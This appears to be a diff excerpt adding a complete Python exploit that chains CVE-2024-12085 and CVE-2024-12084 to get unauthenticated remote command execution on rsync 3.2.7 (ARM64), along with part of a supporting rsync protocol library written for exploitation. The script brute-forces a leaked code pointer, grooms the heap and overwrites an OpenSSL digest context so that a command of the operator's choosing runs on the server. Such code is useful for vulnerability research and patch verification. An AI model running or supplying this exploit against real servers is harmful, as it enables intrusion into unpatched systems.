try:
|
||||
rc.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
time.sleep(1)
|
||||
print(f"[+] Payload delivered — check if command executed.")
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 3:
|
||||
print(f"Usage: {sys.argv[0]} rsync://<host>:<port>/<module> '<command>'")
|
||||
sys.exit(1)
|
||||
url, command = sys.argv[1], sys.argv[2]
|
||||
|
||||
base, file_sum1, tgt, tgt_ndx = leak_pointer(url)
|
||||
do_rce(url, base, command, file_sum1, tgt, tgt_ndx)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,406 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync.
|
||||
|
||||
Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle.
|
||||
Phase 2 — Heap overflow: Single-connection write-what-where that plants a
|
||||
fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp.
|
||||
|
||||
Trigger path (OpenSSL 3.0.x libcrypto, identical layout on arm64):
|
||||
sum_init() → EVP_DigestInit_ex(ctx_evp, ...)
|
||||
→ algctx-cleanup path (when ctx->algctx != NULL):
|
||||
x0 = ctx[0x38] (algctx → command string)
|
||||
x1 = ctx[0x08] (digest → fake EVP_MD)
|
||||
x1 = digest[0xb0] (freectx → shell_exec)
|
||||
blr x1 → shell_exec(cmd)
|
||||
|
||||
ARM64 PORT NOTES (Debian 12 / glibc 2.36 / OpenSSL 3.0.18):
|
||||
- Info leak: useful .text pointer is at sum2+24 (NOT sum2+8).
|
||||
sum2[8:24] are uninitialized junk that must be brute-forced first.
|
||||
Leaked pointer = start_server+0x484 (return after `bl send_files`).
|
||||
- Heap groom: malloc(2) gives a 32-byte chunk on this glibc/arch
|
||||
(same as Ubuntu 22.04 x86-64), so the ONE-filter approach is correct.
|
||||
- .bss layout differs from x86-64:
|
||||
xfer_sum_nni at ctx_evp+0x90 (was +0x30) — overlaps fake_evp_md+0x40
|
||||
last_match at ctx_evp+0x110 — match_sums init ZEROES THIS.
|
||||
→ command string CANNOT live past +0x108!
|
||||
New layout: cmd at +0x58 (inside ctx_md, untouched on EVP path),
|
||||
fake_evp_md at +0xa0 (after xfer_sum_nni preserve).
|
||||
- OpenSSL EVP_MD_CTX/EVP_MD field offsets are identical to x86-64.
|
||||
|
||||
Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x.
|
||||
Offsets are binary-specific — adjust the constants below.
|
||||
|
||||
Usage:
|
||||
python3 poc_rce.py rsync://<host>:<port>/<module> '<command>'
|
||||
"""
|
||||
|
||||
import struct, sys, time
|
||||
import xxhash
|
||||
import rsync_lib as R
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) — ARM64 BUILD ─
|
||||
LEAK_OFFSET = 0x2aec4 # start_server+0x484 (LR after `bl send_files`)
|
||||
SHELL_EXEC_OFFSET = 0x2a120 # shell_exec()
|
||||
CTX_EVP_OFFSET = 0xb4fb0 # EVP_MD_CTX *ctx_evp (.bss)
|
||||
XFER_SUM_NNI_OFFSET = 0xa0880 # SHA1 entry in valid_checksums_items (.data)
|
||||
LEAK_BYTES = 24 # leak sum2[8..31]; pointer is at sum2+24
|
||||
|
||||
# ── OpenSSL 3.0.x struct offsets (from disassembly, same on arm64) ─
|
||||
# EVP_MD_CTX (72 = 0x48 bytes):
|
||||
# +0x08 = digest (const EVP_MD*) ← we set: → fake EVP_MD
|
||||
# +0x10 = engine (ENGINE*) — must be NULL
|
||||
# +0x18 = flags (uint32) — 0x400 set (skips pctx cleanup)
|
||||
# +0x28 = pctx — must be NULL (else pctx-validation path)
|
||||
# +0x38 = algctx (void*) — 1st arg to freectx ← we set: → cmd string
|
||||
# +0x40 = fetched_digest — should be NULL
|
||||
#
|
||||
# EVP_MD:
|
||||
# +0xb0 = freectx function pointer ← we set: → shell_exec
|
||||
# +0x40 = cleanup callback — called LATER if flags&0x02 unset; we crash
|
||||
# here AFTER shell_exec returns (don't care, cmd already ran).
|
||||
#
|
||||
# ARM64 .bss neighbors (offsets from ctx_evp) that get WRITTEN before trigger:
|
||||
# +0x08 cur_sum_nni ← sum_init writes nni (overlaps fake_ctx[0x00], harmless)
|
||||
# +0xe0 cur_sum_len ← sum_init writes 20 (inside fake_evp_md, harmless)
|
||||
# +0xe8 cur_sum_evp_md ← sum_init writes ptr (inside fake_evp_md, harmless)
|
||||
# +0x110 last_match ← match_sums INIT zeros 8B *** breaks cmd if at +0x108! ***
|
||||
# +0x118-0x12B ← match_sums zeroes data_transfer/false_alarms/hash_hits/matches
|
||||
|
||||
# ── Heap overflow constants ─────────────────────────────────
|
||||
CHECKSUM_SEED = 1337
|
||||
SUM_BUF_SIZE = 40
|
||||
SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2)
|
||||
TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7
|
||||
|
||||
|
||||
def send_args(rc, compress=False):
|
||||
rc.write_line('--server'); rc.write_line('--sender')
|
||||
rc.write_line('--compress-choice=zlib' if compress else '--no-compress')
|
||||
rc.write_line('--no-iconv')
|
||||
rc.write_line(f'--checksum-seed={CHECKSUM_SEED}')
|
||||
rc.write_line('--checksum')
|
||||
for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group',
|
||||
'--no-devices','--no-specials','--no-links','--no-hard-links',
|
||||
'--no-acls','--no-inc-recursive']:
|
||||
rc.write_line(o)
|
||||
rc.write_line('-r'); rc.write_line('-e.v')
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════
|
||||
# Phase 1 — Info Leak
|
||||
# ═══════════════════════════════════════════════════════════
|
||||
|
||||
def leak_pointer(url):
|
||||
rc = R.connect(url, '31', 'xxh64')
|
||||
send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('')
|
||||
rc.setup_protocol(); rc.write_raw_int(0)
|
||||
files = rc.read_file_list()
|
||||
tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17))
|
||||
ti = files.index(tgt)
|
||||
data = rc.download_file(ti, tgt); rc.close()
|
||||
|
||||
s1 = R.adler32_rsync(data)
|
||||
h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data)
|
||||
s2 = struct.pack('<Q', h.intdigest())
|
||||
print(f"[*] Phase 1: info leak | file={tgt.name} size={tgt.size}")
|
||||
|
||||
# On arm64 the useful pointer is at sum2+24, so brute-force 24 bytes.
|
||||
# sum2[8:16] is typically 00 00 00 00 ?? ?? 00 00 (high half of a ptr).
|
||||
# sum2[16:24] is a stack pointer (stable across forks of one daemon).
|
||||
# sum2[24:32] is start_server+0x484 (the leak target).
|
||||
#
|
||||
# CRITICAL: use count=1, NOT count=3277. With many entries, hash_search's
|
||||
# build_hash_table allocates a variable-size array, perturbing the stack
|
||||
# frame and making sum2[16:24] unstable across connections.
|
||||
#
|
||||
# SPEED: most bytes are predictable. arm64 user-space addresses are
|
||||
# 0x0000_aaaa_xxxx_xxxx (binary) or 0x0000_ffff_xxxx_xxxx (stack), and
|
||||
# the low bytes of LEAK_OFFSET are constant. Try likely values first.
|
||||
leak_off_bytes = struct.pack('<Q', LEAK_OFFSET)
|
||||
hints = {
|
||||
# sum2[8:16] = high half of a binary pointer
|
||||
8: [0x00], 9: [0x00], 10: [0x00], 11: [0x00],
|
||||
12: [0xaa], 13: [0xaa], 14: [0x00], 15: [0x00],
|
||||
# sum2[16:24] = stack pointer 0x0000_ffff_????_????
|
||||
# low 4 bytes are ASLR; bytes 20-23 are always ff ff 00 00
|
||||
20: [0xff], 21: [0xff], 22: [0x00], 23: [0x00],
|
||||
# sum2[24:32] = base + LEAK_OFFSET. base is page-aligned (low 12 bits = 0),
|
||||
# so the bottom byte of the leaked ptr equals the bottom byte of LEAK_OFFSET.
|
||||
# Byte 25 = (LEAK_OFFSET>>8)&0xff XOR'd with whatever base contributes —
|
||||
# but base bits 12+ are random, so only byte 24 is fully determined.
|
||||
24: [leak_off_bytes[0]], # low byte of LEAK_OFFSET (page offset)
|
||||
25: [leak_off_bytes[1]], # likely (only wrong if base bit 12-15 nonzero in this nibble)
|
||||
28: [0xaa], 29: [0xaa], 30: [0x00], 31: [0x00],
|
||||
}
|
||||
# Default search order: 0x00 first (most common), then 0xff/0xaa, then linear.
|
||||
default_order = [0x00, 0xff, 0xaa] + [b for b in range(256) if b not in (0x00, 0xff, 0xaa)]
|
||||
|
||||
def probe(prefix, guess_byte):
|
||||
try:
|
||||
rc = R.connect(url, '31', 'xxh64')
|
||||
send_args(rc, compress=True)
|
||||
rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('')
|
||||
rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list()
|
||||
rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG)
|
||||
ov = prefix + bytes([guess_byte])
|
||||
rc.write_raw_int(1); rc.write_raw_int(tgt.size)
|
||||
rc.write_raw_int(len(ov)); rc.write_raw_int(0)
|
||||
rc.write_bulk(struct.pack('<I', s1) + ov)
|
||||
rc.read_ndx(); rc.read_short_int()
|
||||
rc.read_int(); rc.read_int(); rc.read_int(); rc.read_int()
|
||||
sig, _ = rc.receive_deflate_token(); rc.close()
|
||||
return guess_byte if sig < 0 else None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
tries = 0
|
||||
pool = ThreadPoolExecutor(max_workers=16)
|
||||
for j in range(LEAK_BYTES):
|
||||
pos = 8 + j
|
||||
prefix = bytes(s2) # snapshot
|
||||
|
||||
# Try hint values serially first (usually 1 connection)
|
||||
hint_vals = hints.get(pos, [])
|
||||
found = None
|
||||
for h in hint_vals:
|
||||
tries += 1
|
||||
if probe(prefix, h) is not None:
|
||||
found = h; break
|
||||
|
||||
# If no hint hit, fan out the remaining 256-len(hints) values in parallel
|
||||
if found is None:
|
||||
remaining = [b for b in default_order if b not in hint_vals]
|
||||
futures = {pool.submit(probe, prefix, b): b for b in remaining}
|
||||
tries += len(remaining)
|
||||
for fut in as_completed(futures):
|
||||
r = fut.result()
|
||||
if r is not None:
|
||||
found = r
|
||||
# Cancel still-pending futures (best-effort; running ones finish)
|
||||
for f in futures: f.cancel()
|
||||
break
|
||||
|
||||
if found is None:
|
||||
pool.shutdown(wait=False)
|
||||
raise RuntimeError(f"leak failed at byte {pos} — stack unstable?")
|
||||
print(f" sum2[{pos}] = 0x{found:02x} ({tries} total connections)")
|
||||
s2 += bytes([found])
|
||||
pool.shutdown(wait=True)
|
||||
|
||||
# Pointer is in the LAST 8 bytes leaked (sum2[24:32] for LEAK_BYTES=24)
|
||||
ptr = struct.unpack('<Q', s2[8+LEAK_BYTES-8:8+LEAK_BYTES])[0]
|
||||
base = ptr - LEAK_OFFSET
|
||||
print(f"[+] Leaked .text ptr : 0x{ptr:x}")
|
||||
print(f"[+] Binary base : 0x{base:x}")
|
||||
return base, s1, tgt, ti
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════
|
||||
# Phase 2 — Heap Overflow → RCE (Phrack approach)
|
||||
# ═══════════════════════════════════════════════════════════
|
||||
|
||||
def do_rce(url, base, command, file_sum1, tgt, tgt_ndx):
|
||||
"""
|
||||
Single-connection overflow following the Phrack "one-shot" approach:
|
||||
corrupt s->sums to point at &ctx_evp, set s->s2length to the full
|
||||
payload size, then write a CONTIGUOUS payload in a single read_buf
|
||||
call directly to .bss:
|
||||
|
||||
[ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string]
|
||||
|
||||
Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset
|
||||
→ ctx->digest->freectx(ctx->algctx) → shell_exec(cmd)
|
||||
"""
|
||||
shell_exec = base + SHELL_EXEC_OFFSET
|
||||
ctx_evp = base + CTX_EVP_OFFSET
|
||||
|
||||
print(f"\n[*] Phase 2: heap overflow → RCE")
|
||||
print(f" shell_exec = 0x{shell_exec:x}")
|
||||
print(f" ctx_evp = 0x{ctx_evp:x}")
|
||||
|
||||
# ── Build the contiguous .bss payload (ARM64 layout) ─────────
|
||||
# Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length).
|
||||
#
|
||||
# Layout (offsets from &ctx_evp):
|
||||
# 0x000: ctx_evp value → points to fake_ctx (at +8)
|
||||
# 0x008: fake EVP_MD_CTX (72 bytes = 0x48), ends at +0x50
|
||||
# +0x08: digest → fake EVP_MD (at +0xa0)
|
||||
# +0x18: flags = 0x400 (so pctx-cleanup path is skipped)
|
||||
# +0x28: pctx = NULL (so pctx-validation path is skipped)
|
||||
# +0x38: algctx → cmd string (at +0x58)
|
||||
# 0x058: command string + null (inside ctx_md struct, max 56B)
|
||||
# *** CANNOT use +0x108: match_sums zeroes last_match @ +0x110! ***
|
||||
# 0x090: xfer_sum_nni (PRESERVE — sum_init reads this as nni arg)
|
||||
# 0x0a0: fake EVP_MD
|
||||
# +0xb0: freectx = shell_exec (absolute payload offset: 0x150)
|
||||
#
|
||||
# The fake_evp_md+0x40 slot (= payload +0xe0) overlaps cur_sum_len which
|
||||
# sum_init writes (=20) BEFORE the trigger fires. That field is the
|
||||
# legacy "cleanup" callback in EVP_MD; it gets called AFTER shell_exec
|
||||
# returns (causing a crash) but by then the command has already run.
|
||||
|
||||
fake_ctx_off = 8
|
||||
cmd_off = 0x58 # safe: inside ctx_md, untouched on EVP path
|
||||
fake_evp_md_off = 0xa0 # after the +0x90 xfer_sum_nni preserve
|
||||
freectx_off = fake_evp_md_off + 0xb0 # = 0x150
|
||||
|
||||
cmd_bytes = command.encode('latin-1') + b'\x00'
|
||||
if len(cmd_bytes) > 0x90 - cmd_off:
|
||||
raise ValueError(f"command too long: {len(cmd_bytes)} > {0x90-cmd_off} bytes")
|
||||
|
||||
payload_size = freectx_off + 8
|
||||
|
||||
fake_ctx_addr = ctx_evp + fake_ctx_off
|
||||
fake_evp_md_addr = ctx_evp + fake_evp_md_off
|
||||
cmd_addr = ctx_evp + cmd_off
|
||||
|
||||
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
|
||||
|
||||
payload = bytearray(payload_size)
|
||||
|
||||
# ctx_evp pointer → fake_ctx
|
||||
struct.pack_into('<Q', payload, 0, fake_ctx_addr)
|
||||
|
||||
# fake EVP_MD_CTX fields (at +8)
|
||||
struct.pack_into('<Q', payload, fake_ctx_off + 0x08, fake_evp_md_addr) # digest
|
||||
struct.pack_into('<I', payload, fake_ctx_off + 0x18, 0x400) # flags
|
||||
struct.pack_into('<Q', payload, fake_ctx_off + 0x38, cmd_addr) # algctx
|
||||
|
||||
# command string (inside ctx_md region, before xfer_sum_nni)
|
||||
payload[cmd_off:cmd_off + len(cmd_bytes)] = cmd_bytes
|
||||
|
||||
# Preserve xfer_sum_nni at +0x90 (arm64 .bss layout)
|
||||
struct.pack_into('<Q', payload, 0x90, xfer_sum_nni)
|
||||
|
||||
# fake EVP_MD: only freectx at +0xb0 matters
|
||||
struct.pack_into('<Q', payload, freectx_off, shell_exec)
|
||||
|
||||
print(f" payload = {payload_size} bytes at &ctx_evp")
|
||||
print(f" fake_ctx = 0x{fake_ctx_addr:x} (+{fake_ctx_off})")
|
||||
print(f" fake_evpmd = 0x{fake_evp_md_addr:x} (+{fake_evp_md_off})")
|
||||
print(f" cmd_addr = 0x{cmd_addr:x} (+{cmd_off})")
|
||||
|
||||
# ── Overflow: redirect sums + set s2length = payload_size ──
|
||||
groom_count = 5
|
||||
n_extra = 1 # just ONE extra entry
|
||||
s2len_initial = 64
|
||||
|
||||
sums_base = ctx_evp - groom_count * SUM_BUF_SIZE - SUM_BUF_OFF
|
||||
|
||||
overflow_payload = bytearray(s2len_initial)
|
||||
struct.pack_into('<Q', overflow_payload, 18, 0x31) # chunk metadata
|
||||
off = 26
|
||||
struct.pack_into('<Q', overflow_payload, off, 0) # flength
|
||||
struct.pack_into('<Q', overflow_payload, off + 8, sums_base & 0xFFFFFFFFFFFFFFFF) # sums
|
||||
struct.pack_into('<I', overflow_payload, off + 16, groom_count + n_extra) # count=6
|
||||
struct.pack_into('<I', overflow_payload, off + 20, 1337) # blength
|
||||
struct.pack_into('<I', overflow_payload, off + 24, 0) # remainder
|
||||
struct.pack_into('<I', overflow_payload, off + 28, payload_size) # s2length!
|
||||
|
||||
# ── Connect and send ─────────────────────────────────
|
||||
rc = R.connect(url, '31', 'sha1')
|
||||
send_args(rc, compress=True)
|
||||
|
||||
# Tcache defragmentation: fill all bins so allocations come from wilderness
|
||||
for sz in range(TCACHE_MIN, TCACHE_MAX + 1, TCACHE_STEP):
|
||||
for _ in range(TCACHE_SLOTS * 2):
|
||||
rc.write_line('-M-' + 'A' * (sz - 2))
|
||||
|
||||
rc.write_line('.'); rc.write_line('./'); rc.write_line('')
|
||||
rc.setup_protocol()
|
||||
|
||||
# Heap grooming: single filter creates pattern(200B) + filter_rule(48B).
|
||||
# Free with '!' pushes both to tcache. sum_struct(48B) lands right after
|
||||
# sums(200B) giving us an 8-byte gap (chunk header only).
|
||||
# NOTE: on arm64 glibc 2.36 (Debian 12), malloc(2) → 32B chunk (same as
|
||||
# x86-64 glibc 2.35). The second "+ a" filter creates an extra chunk in
|
||||
# the gap. ONE filter only gives the correct diff=8 layout.
|
||||
filt = '+ ' + 'Z' * (groom_count * SUM_BUF_SIZE - 1)
|
||||
rc.write_raw_int(len(filt) + 1); rc.write_line(filt)
|
||||
rc.write_raw_int(2); rc.write_line('!')
|
||||
rc.write_raw_int(0)
|
||||
|
||||
files = rc.read_file_list()
|
||||
ndx = next(i for i, f in enumerate(files) if R.is_reg(f.mode) and f.size > 0)
|
||||
print(f" target ndx={ndx} file={files[ndx].name}")
|
||||
rc.write_ndx(ndx)
|
||||
rc.write_short_int(R.ITEM_TRANSFER_FLAG)
|
||||
|
||||
# ── Send sum head (for the initial grooming entries) ──
|
||||
rc.write_raw_int(groom_count) # count = 5
|
||||
rc.write_raw_int(1337) # blength
|
||||
rc.write_raw_int(s2len_initial) # s2length = 64
|
||||
rc.write_raw_int(0) # remainder
|
||||
|
||||
# ── Send grooming entries (all use the same overflow payload) ──
|
||||
bulk = bytearray()
|
||||
for j in range(groom_count):
|
||||
bulk += struct.pack('<I', 0) # sum1 (don't care)
|
||||
bulk += bytes(overflow_payload) # 64 bytes of sum2
|
||||
rc.write_bulk(bytes(bulk))
|
||||
|
||||
# ── Send the ONE extra entry: sum1 (4B) + sum2 (payload) ──
|
||||
print(f" sending payload ({payload_size} bytes) to &ctx_evp...")
|
||||
ext_bulk = struct.pack('<I', 0) + bytes(payload)
|
||||
rc.write_bulk(bytes(ext_bulk))
|
||||
|
||||
print(f" overflow complete, consuming server output...")
|
||||
|
||||
# ── Consume server output to unblock the trigger ─────
|
||||
# After receive_sums, the server enters match_sums → hash_search →
|
||||
# sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset →
|
||||
# internal_cleanup → freectx(algctx) → shell_exec(cmd)
|
||||
#
|
||||
# We must read the server's echo (ndx + sum_head) so it doesn't
|
||||
# block on write().
|
||||
rc.sock.settimeout(10.0)
|
||||
try:
|
||||
# Read NDX echo + iflags
|
||||
rc.read_ndx()
|
||||
rc.read_short_int()
|
||||
print(f" read ndx echo OK")
|
||||
# Read sum head echo (count, blength, s2length, remainder)
|
||||
echo_count = rc.read_int()
|
||||
echo_bl = rc.read_int()
|
||||
echo_s2 = rc.read_int()
|
||||
echo_rem = rc.read_int()
|
||||
print(f" sum head echo: count={echo_count} bl={echo_bl} "
|
||||
f"s2={echo_s2} rem={echo_rem}")
|
||||
|
||||
# The server now enters match_sums → sum_init → trigger.
|
||||
# shell_exec forks+exec's the command, then returns.
|
||||
# Wait for any output or connection close.
|
||||
time.sleep(3)
|
||||
try:
|
||||
while True:
|
||||
d = rc.sock.recv(4096)
|
||||
if not d:
|
||||
break
|
||||
except:
|
||||
pass
|
||||
except Exception as e:
|
||||
print(f" server connection ended: {e}")
|
||||
|
||||
try:
|
||||
rc.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
time.sleep(1)
|
||||
print(f"[+] Payload delivered — check if command executed.")
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 3:
|
||||
print(f"Usage: {sys.argv[0]} rsync://<host>:<port>/<module> '<command>'")
|
||||
sys.exit(1)
|
||||
url, command = sys.argv[1], sys.argv[2]
|
||||
|
||||
base, file_sum1, tgt, tgt_ndx = leak_pointer(url)
|
||||
do_rce(url, base, command, file_sum1, tgt, tgt_ndx)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,895 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Rsync protocol library for exploitation PoCs.
|
||||
Targets rsync <= 3.3.0 (protocol version 31).
|
||||
CVE-2024-12084 (heap overflow), CVE-2024-12085 (info leak),
|
||||
CVE-2024-12086 (file read), CVE-2024-12087 (file write).
|
||||
"""
|
||||
|
||||
import struct
|
||||
import socket
|
||||
import os
|
||||
import ctypes
|
||||
import subprocess
|
||||
import functools
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Constants
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
MPLEX_BASE = 7
|
||||
MSG_DATA = 0
|
||||
MSG_DELETE = 101
|
||||
MSG_EXIT = 86
|
||||
TAG_SHIFT = 24
|
||||
|
||||
NDX_DONE = -1
|
||||
|
||||
ITEM_TRANSFER_FLAG = 1 << 15
|
||||
ITEM_BASIS_TYPE_FOLLOWS = 1 << 11
|
||||
ITEM_XNAME_FOLLOWS = 1 << 12
|
||||
|
||||
FNAMECMP_FNAME = 0x80
|
||||
FNAMECMP_FUZZY = 0x83
|
||||
|
||||
S_IFMT = 0o170000
|
||||
S_IFDIR = 0o040000
|
||||
S_IFREG = 0o100000
|
||||
S_IFLNK = 0o120000
|
||||
|
||||
XMIT_SAME_MODE = 1 << 1
|
||||
XMIT_SAME_NAME = 1 << 5
|
||||
XMIT_LONG_NAME = 1 << 6
|
||||
XMIT_SAME_TIME = 1 << 7
|
||||
XMIT_HLINKED = 1 << 9
|
||||
XMIT_HLINKED_FIRST = 1 << 12
|
||||
XMIT_MOD_NSEC = 1 << 13
|
||||
|
||||
CHUNK_SIZE = 32 * 1024
|
||||
|
||||
# Deflate token constants
|
||||
DEFLATED_DATA = 0x40
|
||||
TOKEN_REL = 0x80
|
||||
|
||||
# Receive deflate states
|
||||
R_INIT, R_IDLE, R_RUNNING, R_INFLATING, R_INFLATED = range(5)
|
||||
|
||||
# Varint extra-byte lookup table (from rsync io.c)
|
||||
INT_BYTE_EXTRA = [
|
||||
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
|
||||
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
|
||||
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
|
||||
2,2,2,2,2,2,2,2,3,3,3,3,4,4,5,6,
|
||||
]
|
||||
|
||||
# NDX prev-pointer indices
|
||||
_PREV_NEGATIVE = 0
|
||||
_PREV_POSITIVE = 1
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Utility functions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def is_dir(mode):
|
||||
return (mode & S_IFMT) == S_IFDIR
|
||||
|
||||
def is_reg(mode):
|
||||
return (mode & S_IFMT) == S_IFREG
|
||||
|
||||
def is_symlink(mode):
|
||||
return (mode & S_IFMT) == S_IFLNK
|
||||
|
||||
|
||||
def adler32_rsync(data):
|
||||
"""Rsync's custom Adler32 checksum (differs from zlib's)."""
|
||||
s1 = 0
|
||||
s2 = 0
|
||||
i = 0
|
||||
n = len(data)
|
||||
while i < n - 3:
|
||||
s2 += (4 * (s1 + data[i]) + 3 * data[i+1] +
|
||||
2 * data[i+2] + data[i+3])
|
||||
s1 += data[i] + data[i+1] + data[i+2] + data[i+3]
|
||||
s1 &= 0xFFFFFFFF
|
||||
s2 &= 0xFFFFFFFF
|
||||
i += 4
|
||||
while i < n:
|
||||
s1 += data[i]
|
||||
s2 += s1
|
||||
s1 &= 0xFFFFFFFF
|
||||
s2 &= 0xFFFFFFFF
|
||||
i += 1
|
||||
return ((s1 & 0xFFFF) + (s2 << 16)) & 0xFFFFFFFF
|
||||
|
||||
|
||||
def filepath_dir(path):
|
||||
"""Match Go's filepath.Dir behavior."""
|
||||
d = os.path.dirname(path)
|
||||
return d if d else '.'
|
||||
|
||||
def filepath_base(path):
|
||||
"""Match Go's filepath.Base behavior."""
|
||||
while path.endswith('/') and len(path) > 1:
|
||||
path = path[:-1]
|
||||
b = os.path.basename(path)
|
||||
return b if b else '.'
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# f_name_cmp (ctypes wrapper around the C implementation)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _load_fnamecmp():
|
||||
"""Try to load or build the f_name_cmp shared library."""
|
||||
lib_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
lib_path = os.path.join(lib_dir, 'libfnamecmp.so')
|
||||
src_path = os.path.join(lib_dir, 'pkg', 'client', 'native_funcs.c')
|
||||
if not os.path.exists(lib_path) and os.path.exists(src_path):
|
||||
try:
|
||||
subprocess.check_call(
|
||||
['gcc', '-shared', '-fPIC', '-o', lib_path, src_path],
|
||||
stderr=subprocess.DEVNULL)
|
||||
except Exception:
|
||||
return None
|
||||
if os.path.exists(lib_path):
|
||||
lib = ctypes.CDLL(lib_path)
|
||||
lib.f_name_cmp.argtypes = [
|
||||
ctypes.c_char_p, ctypes.c_char_p,
|
||||
ctypes.c_char_p, ctypes.c_char_p,
|
||||
ctypes.c_int, ctypes.c_int, ctypes.c_int,
|
||||
]
|
||||
lib.f_name_cmp.restype = ctypes.c_int
|
||||
return lib
|
||||
return None
|
||||
|
||||
_fnamecmp_lib = _load_fnamecmp()
|
||||
|
||||
|
||||
def f_name_cmp(name1, name2, mode1, mode2, protocol_version=31):
|
||||
"""Compare two file names the way rsync sorts its file lists."""
|
||||
if _fnamecmp_lib is not None:
|
||||
return _fnamecmp_lib.f_name_cmp(
|
||||
filepath_dir(name1).encode(), filepath_dir(name2).encode(),
|
||||
filepath_base(name1).encode(), filepath_base(name2).encode(),
|
||||
int(mode1), int(mode2), protocol_version)
|
||||
return _f_name_cmp_py(name1, name2, mode1, mode2, protocol_version)
|
||||
|
||||
|
||||
def _f_name_cmp_py(name1, name2, mode1, mode2, pv=31):
|
||||
"""Pure-Python fallback for f_name_cmp (faithful port of flist.c)."""
|
||||
_S_DIR, _S_SLASH, _S_BASE, _S_TRAILING = 0, 1, 2, 3
|
||||
_T_PATH, _T_ITEM = 0, 1
|
||||
_t_path = _T_PATH if pv >= 29 else _T_ITEM
|
||||
|
||||
d1, d2 = filepath_dir(name1), filepath_dir(name2)
|
||||
b1, b2 = filepath_base(name1), filepath_base(name2)
|
||||
|
||||
def ch(s, i):
|
||||
return s[i] if i < len(s) else '\0'
|
||||
|
||||
c1s, c1i, st1, ty1 = d1, 0, _S_DIR, _t_path
|
||||
c2s, c2i, st2, ty2 = d2, 0, _S_DIR, _t_path
|
||||
|
||||
if ty1 != ty2:
|
||||
return 1 if ty1 == _T_PATH else -1
|
||||
|
||||
while True:
|
||||
# --- handle end of c1 ---
|
||||
if ch(c1s, c1i) == '\0':
|
||||
if st1 == _S_DIR:
|
||||
st1, c1s, c1i = _S_SLASH, "/", 0
|
||||
elif st1 == _S_SLASH:
|
||||
ty1 = _t_path if is_dir(mode1) else _T_ITEM
|
||||
c1s, c1i = b1, 0
|
||||
if ty1 == _T_PATH and b1 == ".":
|
||||
ty1, st1, c1s, c1i = _T_ITEM, _S_TRAILING, "", 0
|
||||
else:
|
||||
st1 = _S_BASE
|
||||
elif st1 == _S_BASE:
|
||||
st1 = _S_TRAILING
|
||||
if ty1 == _T_PATH:
|
||||
c1s, c1i = "/", 0
|
||||
else:
|
||||
ty1 = _T_ITEM
|
||||
else: # S_TRAILING
|
||||
ty1 = _T_ITEM
|
||||
if ch(c2s, c2i) != '\0' and ty1 != ty2:
|
||||
return 1 if ty1 == _T_PATH else -1
|
||||
|
||||
# --- handle end of c2 ---
|
||||
if ch(c2s, c2i) == '\0':
|
||||
if st2 == _S_DIR:
|
||||
st2, c2s, c2i = _S_SLASH, "/", 0
|
||||
elif st2 == _S_SLASH:
|
||||
ty2 = _t_path if is_dir(mode2) else _T_ITEM
|
||||
c2s, c2i = b2, 0
|
||||
if ty2 == _T_PATH and b2 == ".":
|
||||
ty2, st2, c2s, c2i = _T_ITEM, _S_TRAILING, "", 0
|
||||
else:
|
||||
st2 = _S_BASE
|
||||
elif st2 == _S_BASE:
|
||||
st2 = _S_TRAILING
|
||||
if ty2 == _T_PATH:
|
||||
c2s, c2i = "/", 0
|
||||
else:
|
||||
if ch(c1s, c1i) == '\0':
|
||||
return 0
|
||||
ty2 = _T_ITEM
|
||||
else: # S_TRAILING
|
||||
if ch(c1s, c1i) == '\0':
|
||||
return 0
|
||||
ty2 = _T_ITEM
|
||||
if ty1 != ty2:
|
||||
return 1 if ty1 == _T_PATH else -1
|
||||
|
||||
# --- compare and advance ---
|
||||
v1 = ord(ch(c1s, c1i)) if ch(c1s, c1i) != '\0' else 0
|
||||
v2 = ord(ch(c2s, c2i)) if ch(c2s, c2i) != '\0' else 0
|
||||
c1i += 1
|
||||
c2i += 1
|
||||
d = v1 - v2
|
||||
if d != 0:
|
||||
return d
|
||||
if v1 == 0:
|
||||
return 0
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
